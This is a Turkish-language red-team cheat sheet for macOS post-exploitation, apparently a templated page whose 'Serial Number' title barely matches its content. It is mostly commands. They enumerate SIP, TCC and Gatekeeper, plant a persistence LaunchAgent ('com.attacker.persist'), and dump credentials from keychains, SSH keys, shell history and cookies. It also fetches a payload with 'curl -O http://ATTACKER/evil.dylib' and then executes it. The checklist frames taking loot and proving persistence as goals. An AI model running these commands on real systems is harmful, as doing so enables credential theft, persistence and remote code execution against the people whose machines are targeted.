macOS Serial Number
macos red-team
macOS Serial Number macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla.
Metodoloji
Section titled “Metodoloji”-
SIP/TCC/Gatekeeper/codesign durumunu ölç.
-
macOS Serial Numberiçin launch item, entitlement ve library/XPC yüzeyini tara. -
Injection veya privacy bypass hipotezini doğrula.
-
Keychain/TCC/hassas dosya kanıtını al.
macOS Serial Number macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.
id; whoami; hostnamesw_vers; uname -acsrutil statusspctl --statussystem_profiler SPSoftwareDataType | head -n 40ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/nullps aux | head -n 50lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | headKalıcılık / MDM
Section titled “Kalıcılık / MDM”LaunchAgent/Daemon, Login Item ve MDM enrollment red-team kalıcılık yüzeyidir.
ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons /System/Library/LaunchDaemons 2>/dev/nulllaunchctl list | head -n 40osascript -e 'tell application "System Events" to get the name of every login item'profiles status -type enrollment 2>/dev/nullprofiles list -verbose 2>/dev/null | headsystem_profiler SPHardwareDataType | rg 'Serial'cat ~/Library/LaunchAgents/*.plist 2>/dev/null | head -n 80<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict> <key>Label</key><string>com.attacker.persist</string> <key>ProgramArguments</key><array><string>/Users/Shared/p</string></array> <key>RunAtLoad</key><true/></dict></plist>Sistem / binary / debug
Section titled “Sistem / binary / debug”Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.
file /Applications/App.app/Contents/MacOS/*lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/nullnm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | headvmmap $(pgrep -n App) 2>/dev/null | headlldb -p $(pgrep -n App)nvram -pkextstat 2>/dev/null | headsystemextensionsctl list 2>/dev/nullioreg -l | rg -i 'IOUserClient|IOKit' | headls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | headfind /Users /Library -name '*.plist' 2>/dev/null | head -n 40Hassas veri ve loot
Section titled “Hassas veri ve loot”ls -la ~/Library/Keychains ~/.ssh 2>/dev/nullcat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50defaults read 2>/dev/null | headfind ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | headsecurity find-internet-password -g 2>/dev/null | headManuel doğrulama
Section titled “Manuel doğrulama”# macOS Serial Number — varyant 25ls -la@ ~/Library ~/Documents 2>/dev/null | headmdfind 'kMDItemKind == Application' | headdefaults read com.apple.dock 2>/dev/null | headlog show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | headfs_usage -w -f filesys 2>/dev/null | headsample App 3 2>/dev/null | headPayload taşıma
Section titled “Payload taşıma”python3 -m http.server 8000curl -O http://ATTACKER/evil.dylibchmod +x ./payload && ./payloadChecklist
Section titled “Checklist”[ ] SIP/TCC/Gatekeeper durumu ölçüldü[ ] Launch item / entitlements / codesign tarandı[ ] Injection veya XPC hipotezi doğrulandı[ ] Keychain/TCC/hassas veri loot alındı[ ] Kalıcılık veya yüksek yetki kanıtlandıNotlar
Section titled “Notlar”macOS Serial Number sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.